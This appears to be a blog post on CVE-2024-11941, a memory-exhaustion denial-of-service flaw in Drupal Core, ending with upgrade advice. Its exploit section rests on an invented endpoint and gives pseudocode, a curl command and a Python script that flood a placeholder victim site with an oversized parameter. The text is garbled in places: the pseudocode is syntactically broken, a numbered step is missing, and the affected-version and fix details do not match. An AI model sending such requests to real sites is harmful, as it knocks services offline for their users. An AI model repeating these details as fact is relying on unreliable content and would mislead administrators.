A serious vulnerability was found in Drupal Core, identified as CVE-2024-11941. This flaw allows attackers to trigger an “excessive allocation” attack—essentially overloading your Drupal server’s memory using just a simple request. Websites running Drupal Core versions 10.1. before 10.1.8 and 10.2. before 10.2.2 are directly affected. In this post, we’ll walk through what this vulnerability is, how it can be exploited (with code samples!), and—most importantly—how you can protect your website.
What is CVE-2024-11941?
CVE-2024-11941 is a vulnerability in Drupal Core where a specially crafted request can force the server to allocate excessive system memory. Left unchecked, this can crash the site or even deny services to all its users.
Technical Details
Let’s break it down in simple terms: Certain endpoints or processing functions didn't correctly limit the size or amount of incoming data or requests. If an attacker sends an intentionally large or malformed request, PHP and Drupal attempt to handle these requests—often trying to fit enormous objects/data into your server's memory, and eventually running out of resources.
Result: Your site goes down, and legitimate users can’t access it.
Exploit Example
Imagine an endpoint in Drupal that processes input. It reads a user-supplied parameter and processes it directly. Because there isn’t a proper size check, an attacker can send something much larger than normal.
Here’s a simplified PHP-like pseudocode example to show how this could happen
// Hypothetical vulnerable code in Drupal
$data = $_GET['info']; // User-provided input from the query string
$array = array_fill(, $data, 'A'); // This allocates an array with $data elements
// With no limit, $data could be 1,000,000,000!
An attacker can send
http://vulnerable-drupal-site.com/some-endpoint?info=100000000
The PHP engine (and thus Drupal) will try to create an array with 100 million elements, quickly exhausting server memory.
Identify a vulnerable input field or endpoint.
2. Send a HTTP GET/POST request with an extremely large value.
Here’s how an attacker might use *curl* to attempt exploitation
curl "https://victim-site.com/vulnerable-endpoint?info=100000000";
Or using requests in Python
import requests
url = "https://victim-site.com/vulnerable-endpoint";
params = {"info": "100000000"}
requests.get(url, params=params)
Denial of Service (DoS): Site is slow or goes down completely.
- No Code Execution: This bug doesn’t let attackers run their own code, but can force a reboot, causing financial & reputation loss.
How to Fix
Upgrade Drupal Core Immediately
For 10.2.x, update to at least 10.2.2.
Official patch notes:
- Drupal 10.2.2 security advisory
- CVE-2024-11941 details on NVD
References
- Drupal Security Advisory SA-CORE-2024-002
- CVE-2024-11941 at National Vulnerability Database
- Drupal Core Official Releases
Conclusion
CVE-2024-11941 is a critical yet simple-to-exploit weakness in certain Drupal Core versions. Even if attackers can't steal data or directly take over your website, they can easily bring it down and disrupt your business. Fix it now by upgrading Drupal Core, and review your own code and inputs for any excessive allocation risks. Stay safe, keep your CMS updated, and think like an attacker to secure your platform.
*If you found this helpful, share it with fellow Drupal admins, and don’t forget to patch your site today!*
Timeline
Published on: 12/05/2024 15:15:08 UTC
Last modified on: 12/05/2024 16:15:23 UTC